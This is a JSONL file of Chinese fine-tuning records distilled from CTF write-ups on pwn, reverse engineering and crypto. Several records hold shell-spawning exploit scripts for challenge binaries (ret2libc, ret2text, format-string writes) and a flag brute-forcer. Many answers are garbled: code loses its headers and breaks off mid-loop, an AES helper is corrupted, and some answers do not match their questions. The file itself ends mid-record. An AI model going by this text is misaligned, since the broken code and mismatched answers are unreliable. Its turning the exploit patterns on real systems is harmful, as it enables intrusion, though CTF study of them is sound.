{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-aea2e6791fc9007fcede", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "请将《VM 指令虚拟化》蒸馏成模型训练用的知识卡片，要求覆盖主题、知识结构、关键术语和核心要点。", "role": "user"}, {"content": "主题：VM 指令虚拟化\n领域标签：pwn, reverse, ctf-method\n知识结构：简介 -> VM虚拟机的结构 -> 虚拟机实现 -> 结构体定义 -> opcode定义 -> 书写机器码 -> 解释器编写 -> VM虚拟机分析 -> 解题方法 -> opcode 和 对应的操作码\n关键术语：data、push、eip、mov、reg、opcode、code、mem、CPU、vm_init、nop、case、operand_1、cmp、dword_445BD8、byte_4449A0\n核心要点：\n- 虚拟机（VM）其实就是用软件来模拟硬件。我们可以参照 x86 等真实指令集，自己定义一套全新的指令系统（opcode），并在解释器程序中实现相应的结构与逻辑来解析、调度和执行指令。\n- 在安全领域中，“虚拟机” 常用于虚拟化保护。它将原本由 CPU 直接执行的机器码转化为自定义的字节码指令，然后再由程序内部实现的一套“虚拟 CPU”来解释执行。由于字节码并不遵循传统体系结构，理解成本高、调试困难，从而达到防止逆向与篡改的目的。\n- 简单来说就是出题人通过实现一个小型虚拟机：\n- 自定义一些操作码（opcode）；\n- 用解释器逐条读取并执行这些 opcode；\n- 每条 opcode 对应一个函数或模拟指令的逻辑（伪指令）；\n- 从而使程序仍能完成原有功能，但执行路径完全脱离真实 CPU 的机器码语义。\n- 这种虚拟机和我们日常使用的虚拟机不同，这里的虚拟机只是一种保护机制，也可以叫做解释执行系统或者模拟器（Emulator），程序作者将程序的可执行代码转换为自定义的操作码（opcode），然后在程序执行的时候通过模拟一个简化的处理器（CPU）去解释执行这些操作码，选择对应的 “伪指令”（一些模仿指令行为的函数或者一...\n- 这也就像是在程序内部设计出一个虚拟机器，有着模拟的内存以及处理器（CPU）等一些关键的结构，而所谓的操作码，也就是这个模拟的简化处理器支持的指令的编码。\n- 虚拟机的主程序其实就是一个循环，这个循环不断的去读取指令（伪机器码opcode），然后执行指令 opcode 所对应的一些函数，这样下来就可以与真实的程序执行相差无几。", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::9c3fc2fae19af35b", "original_line": 773, "original_split": "train", "record_family": "sft_chatml", "record_type": "article_knowledge_card", "section": "article_overview", "source": "VM 指令虚拟化.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "9c3fc2fae19af35b", "source_split": "train", "split": "train", "split_group_key": "b3e5629f096bf2cde9b41261", "tags": ["pwn", "reverse", "ctf-method"], "title": "VM 指令虚拟化", "type": "article_knowledge_card"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-aec2c8a1dd892778cfc5", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《暴力破解》的“Windows”部分，提炼一条适合 SFT 的中文技术讲解样本（第 1 段）。", "role": "user"}, {"content": "出处：暴力破解 / Windows（第 1 段）\n关键词：cracking、include、FLAG_LEN、LoadLibrary、handle、EXIT_FAILURE、failed、checkFlag、size_t、dlopen\n蒸馏要点：\n- 2024 MoeCTF BlackHole\n- `LoadLibrary`然后调用函数进行暴力破解\n可用于训练的标准回答：\n### Windows\n\n>2024 MoeCTF BlackHole\n\n`LoadLibrary`然后调用函数进行暴力破解\n\n- exp\n\n```cpp\n#include\n#include\n\nvoid bruteForce()\n{\n    HMODULE h = NULL;\n    h = LoadLibraryA(\"you_cannot_crack_me.vmp.dll\");\n    if (!h)\n    {\n    printf(\"failed to load dll...\\n\");\n        return;\n    }\n    typedef int(*checkFlag)(char*, size_t);\n    char* cracking = (char*)malloc(16);\n    if (!cracking) return;\n        cracking[0] = 'm';\n        cracking[1] = 'o';\n        cracking[2] = 'e';\n        cracking[3] = 'c';\n        cracking[4] = 't';\n        cracking[5] = 'f';\n        cracking[6] = '{';\n        cracking[7] = 'c';\n        cracking[12] = 'm';\n        cracking[14] = '}';\n        cracking[15] = '\\0';  checkFlag check = (checkFlag)GetProcAddress(h, \"checkMyFlag\");\n        for (char b = 'a'; b\n#include\n#include\n#include      // for dlopen, dlsym\n#include\n\n#define FLAG_LEN 16\n\ntypedef int (*check_flag_t)(char *, size...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::8d15ac3be244ed53", "original_line": 908, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "Windows", "source": "例题/爆破/暴力破解.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "8d15ac3be244ed53", "source_split": "train", "split": "train", "split_group_key": "97460fd59e125e8e85f70da6", "tags": ["pwn", "reverse", "ctf-method"], "title": "暴力破解", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-afb86b67448b4fcd8468", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[LitCTF 2023]狠狠的溢出涅~”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [LitCTF 2023]狠狠的溢出涅~\n关键词：p64、elf、libc、payload、x00、base、off、rdi、puts、sym\n可用于训练的标准回答：\n### [LitCTF 2023]狠狠的溢出涅~\n\n#ret2libc #字符串截断\n\n- exp\n\n```python\n#!/usr/bin/python3\nfrom pwncli import *\nimport time\ncli_script()\nio=gift[\"io\"]\nelf=gift[\"elf\"]\nlibc=ELF(\"./libc-2.31.so\")\n\noff=104\nrdi=0x00000000004007d3\nret=0x0000000000400556\n\npayload=b'\\x00'+b'a'*(off-1)+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(elf.sym.main)\nsla(\"Leave your message:\\n\",payload)\nputs_addr=u64(ru(b\"\\x7f\")[-6:].ljust(8,b'\\x00'))\nsuccess(hex(puts_addr))\n\nbase=puts_addr-libc.sym.puts\nsys=base+libc.sym.system\n#sh=base+libc.search(b\"/bin/sh\\x00\")\nsh=base+0x00000000001b45bd\ntime.sleep(3)\npayload=b'\\x00'+b'a'*(off-1)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::dd7a41fb611eed58", "original_line": 762, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[LitCTF 2023]狠狠的溢出涅~", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "dd7a41fb611eed58", "source_split": "train", "split": "train", "split_group_key": "1553b1811cff06fa3c14fc2c", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b021b26648a468a8e0a3", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“canary”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. 程序仅仅没有 PIE 保护。\n2. `gift`函数是一个直接的栈溢出，溢出的长度充足，而`main`函数的`read`可以进行一次溢出覆盖`rbp`和`retaddr`，由于开启了`canary`所以我们要想正常的构造 rop 链必然要想办法绕过。\n3. 下部分`read`可以溢出两个字长，可以覆盖`rbp`和`retaddr`。\n4. 注意这里的`read`是从`[rbp+某值]`开始，所以这里的`rsi`的值是可控的，所以可以覆盖`rbp`的值为`stack_fail_got`，然后`ret`到`0x40133F`，这样就可以使得往`rbp`指向的地址写入任意值。\n5. 把`stack_fail_got`写为`gift`函数，现在`canary`被触发也不会崩溃，而是会执行`gift`函数，所以可以随便栈溢出。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf"], "original_id": "chatml::train::distilled_training_data::train::91d04329546d00dc", "original_line": 807, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "canary", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "91d04329546d00dc", "source_split": "train", "split": "train", "split_group_key": "962ef4855c05777f55e2370c", "tags": ["pwn"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b0236becc5a41edddea0", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“[[NISACTF 2022]UAF]”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. def edit(index, content):\n2. sla(b':', b'2')\n3. sla(b'page', str(index))\n4. sla(b'strings', content)\n5. def show(index):\n6. sla(b':', b'4')", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 2, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::f03e0442962ff20c", "original_line": 1066, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "[[NISACTF 2022]UAF]", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "f03e0442962ff20c", "source_split": "train", "split": "train", "split_group_key": "139952b5e67c05f2eed3fd35", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b032b79946e4de353d5b", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《AES》的“脚本”部分，提炼一条适合 SFT 的中文技术讲解样本（第 3 段）。", "role": "user"}, {"content": "出处：AES / 脚本（第 3 段）\n关键词：self、def、State、4byte_block、range、temp、position、16bytes_key、0xFFFFFFFF、FFFFFFFF\n蒸馏要点：\n- def ShiftRows(self, S):\n- return [S[0], S[5], S[10], S[15],\n- S[4], S[9], S[14], S[3],\n- S[8], S[13], S[2], S[7],\n- S[12], S[1], S[6], S[11]]\n- def ShiftRows_Inv(self, S):\n- return [S[0], S[13], S[10], S[7],\n可用于训练的标准回答：\ndef ShiftRows(self, S):\n        # 行移位\n        return [S[0], S[5], S[10], S[15],\n                S[4], S[9], S[14], S[3],\n                S[8], S[13], S[2], S[7],\n                S[12], S[1], S[6], S[11]]\n\ndef ShiftRows_Inv(self, S):\n        # 逆行移位\n        return [S[0], S[13], S[10], S[7],\n                S[4], S[1], S[14], S[11],\n                S[8], S[5], S[2], S[15],\n                S[12], S[9], S[6], S[3]]\n\ndef MixColumns(self, State):\n        # 列混合\n        return self.Matrix_Mul(self.MIX_C, State)\n\ndef MixColumns_Inv(self, State):\n        # 逆列混合\n        return self.Matrix_Mul(self.I_MIXC, State)\n\ndef RotWord(self, _4byte_block):\n        # 用于生成轮密钥的字移位\n        return ((_4byte_block & 0xffffff) > 24)\n\ndef SubWord(self, _4byte_block):\n        # 用于生成密钥的字节替换\n        result = 0\n        for position in range(4):\n            i = _4byte_block >> position * 8 + 4 & 0xf\n            j = _4byte_b...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 2, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::dd15200aaacd3480", "original_line": 754, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "脚本", "source": "AES.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "dd15200aaacd3480", "source_split": "train", "split": "train", "split_group_key": "33ea3067deea061bc4feb3b1", "tags": ["crypto", "ctf-method"], "title": "AES", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b04743fbe94a5e169db1", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“SSP Leak”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. *Stack Smashing Protector (SSP)** 是一种防范栈溢出漏洞的机制，最初在1998年由 StackGuard 引入 GCC。\n2. *SSP Leak** 则是利用 SSP 机制进行攻击的一种技术。通过破坏 `canary` 值，攻击者可以触发程序的异常处理流程，并利用该过程泄露信息。\n3. 在CTF Wiki中将这种利用技术称为 **Stack Smash**，并将其归类为花式栈溢出的一部分。这表明，SSP Leak 是栈溢出攻击的一种高级形式。\n4. SSP工作原理：\n5. 插入`canary`\n6. 将`canary`插入栈中，一般通过`fs/gx`寄存器来获取4字节（32位）或8字节（64位）的值，这就是`canary`值，然后将其插入到栈上与`rbp`相邻的位置。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::2dff0d30b9bd812c", "original_line": 824, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "SSP Leak", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "2dff0d30b9bd812c", "source_split": "train", "split": "train", "split_group_key": "e9f4ae379f0e75d17d01336a", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b048374dd67da82d156b", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“ciscn2019n8”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / ciscn2019n8\n关键词：gift、elf、ELF、payload、ciscn2019n8、exp、usr、bin、env、python3\n蒸馏要点：\n- 通过溢出覆盖变量使变量满足条件拿到shell\n- ida的 LL 表示长整型值即8个字节，所以需要64位比较。\n可用于训练的标准回答：\n### ciscn2019n8\n\n#变量覆盖\n\n通过溢出覆盖变量使变量满足条件拿到shell\n\nida的 LL 表示长整型值即8个字节，所以需要64位比较。\n\nexp\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nr()\npayload=b'a'*52+p64(17)\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::68198d01109792ca", "original_line": 765, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "ciscn2019n8", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "68198d01109792ca", "source_split": "train", "split": "train", "split_group_key": "bb9aada12745ab4ab9253e34", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b0550c17747d1ca5bc7d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“wustctf2020getshell2”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / wustctf2020getshell2\n关键词：call、gift、elf、ELF、sys、payload、p32、wustctf2020getshell2、exp、usr\n蒸馏要点：\n- 知识点：`call`函数，后面可以跟随参数。因为在程序`call`函数时正好将下一条指令入栈，于是栈中就形成了返回地址+参数的布局。正好符合栈布局，可以满足执行函数的要求。\n- 程序由于存在溢出限制所以\n可用于训练的标准回答：\n### wustctf2020getshell2\n\n>知识点：`call`函数，后面可以跟随参数。因为在程序`call`函数时正好将下一条指令入栈，于是栈中就形成了返回地址+参数的布局。正好符合栈布局，可以满足执行函数的要求。\n\n程序由于存在溢出限制所以\n\n- exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nsys=0x8048529\nsh=0x8048670\npayload=b'a'*28+p32(sys)+p32(sh)\nr()\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::fecaed71938ffa8d", "original_line": 22, "original_split": "test", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "wustctf2020getshell2", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "fecaed71938ffa8d", "source_split": "test", "split": "train", "split_group_key": "e2bac2794ee0e63bf68e6ef2", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b08f628c6f17e75ffcdb", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[SWPUCTF 2022 新生赛]有手就行的栈溢出”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[SWPUCTF 2022 新生赛]有手就行的栈溢出”。\n语言/类型：python\n关联知识点：\n- 发现 fun 函数中存在 execve 函数，并且已经设置好了相关参数。\n- 直接调用获取shell。\n代码片段：\n```python\nfrom pwn import *\n\nio=process(\"./pwn\")\n#ececve(\"/bin/sh\",0,0)\noff=40\nfun=0x401257\npayload=b'a'*off+p64(fun)\n\nio.sendline(payload)\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::cee3a1b374eca533", "original_line": 864, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[SWPUCTF 2022 新生赛]有手就行的栈溢出", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "cee3a1b374eca533", "source_split": "train", "split": "train", "split_group_key": "9301a9cb650885d7aacb5e22", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b0dcb8b37e563b6cb971", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[MoeCTF 2021]babyfmt”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[MoeCTF 2021]babyfmt”。\n语言/类型：python\n关联知识点：\n- 覆盖条件判断变量地址为指定值，然后输入相应的值使条件成立。\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nsh=0x804c044\nfmtpay=fmtstr_payload(10,{sh:0})\nsl(fmtpay)\ns(b'0')\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::225482e60d4e2660", "original_line": 991, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[MoeCTF 2021]babyfmt", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "225482e60d4e2660", "source_split": "train", "split": "train", "split_group_key": "0fdb7308d698d9ceddc456ba", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b2aba4ed3af6ab774426", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“[WUSTCTF 2020]getshell2”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. `p32(system_plt) + p32(0) + p32(str_binsh)` 可以替换成 `p32(call_system) + p32(str_sh) `\n2. `eip`寄存器指向当前正在执行的指令。当我们调用一个函数时，当前的 `eip` 值会被压栈，这样在函数执行完毕后，程序可以通过弹出栈顶的 `eip` 值继续执行之前的指令。\n3. 由于我们手动调用 `system` ，我们是没有将返回地址压栈的，栈中是没有返回地址的，会导致栈错误\n4. 当使用`call system`指令时，`call`指令本身会自动将当前的eip压栈。所以我们可以直接跟参数，而不需要手动压入一个返回地址\n5. 在 linux 中，/bin/sh 是二进制文件，而 sh 是环境变量，相当于执行 /bin/sh", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::00a6a79f1eb3c82d", "original_line": 75, "original_split": "validation", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "[WUSTCTF 2020]getshell2", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "00a6a79f1eb3c82d", "source_split": "validation", "split": "train", "split_group_key": "313f642aaaa10661ca7c9203", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b3af381dc70cad4bfb5b", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“pwnableorw”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“pwnableorw”。\n语言/类型：c\n关联知识点：\n- 几乎没有保护，所以我们可以尝试shellcode。\n- 程序提升让我们输入 shellcode 并且将 shellcode 指令当作函数调用执行。\n- 我们直接尝试shellcode，但是我们传统的通过`execve`获取shell的方式并不可行。\n- 这是因为这里所考察的并不是那种简单shellcode，通过题目名称我们可以知道这里我考察的是orw。\n- 而考察orw的题目一般都是沙箱题目。\n代码片段：\n```c\n❯ checksec ./orw.orw\n    Arch:       i386-32-little\n    RELRO:      Partial RELRO\n    Stack:      Canary found\n    NX:         NX unknown - GNU_STACK missing\n    PIE:        No PIE (0x8048000)\n    Stack:      Executable\n    RWX:        Has RWX segments\n    Stripped:   No\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::0f8ef9270fc44a66", "original_line": 1063, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "pwnableorw", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "0f8ef9270fc44a66", "source_split": "train", "split": "train", "split_group_key": "ffc9527cee65931f6ef71e7d", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b447aafb71de81b13a4b", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Angr：Angr符号执行》的“执行 state”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Angr：Angr符号执行 / 执行 state\n关键词：state、successors、state.step()、addr、step、angr、proj、hex、import、Project\n蒸馏要点：\n- 如何从一个 state ，通过符号执行，得到新的 state 呢？\n- 最简单的方法是通过单步执行的形式，来得到当前 state 经过符号执行所产生的新的 state，只需要调用 `state.step()`​ 函数就能执行一个基本块的所有指令。\n可用于训练的标准回答：\n### 执行 state\n\n如何从一个 state ，通过符号执行，得到新的 state 呢？\n\n最简单的方法是通过单步执行的形式，来得到当前 state 经过符号执行所产生的新的 state，只需要调用 `state.step()`​ 函数就能执行一个基本块的所有指令。\n\n```python\nimport angr\n\nproj = angr.Project('/bin/ls')\nstate = proj.factory.entry_state()\n\nprint(\"state 地址:\", hex(state.addr))\nsuccessors = state.step().successors\nprint(\"后继 state(%d 个):\" % len(successors))\nfor i, s in enumerate(successors):\n    print(\"后续 state %d: addr: %s\" % (i, hex(s.addr)))", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::076d31ad5145f887", "original_line": 1016, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "执行 state", "source": "Angr.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "076d31ad5145f887", "source_split": "train", "split": "train", "split_group_key": "a01151214b3eea0af1899323", "tags": ["reverse"], "title": 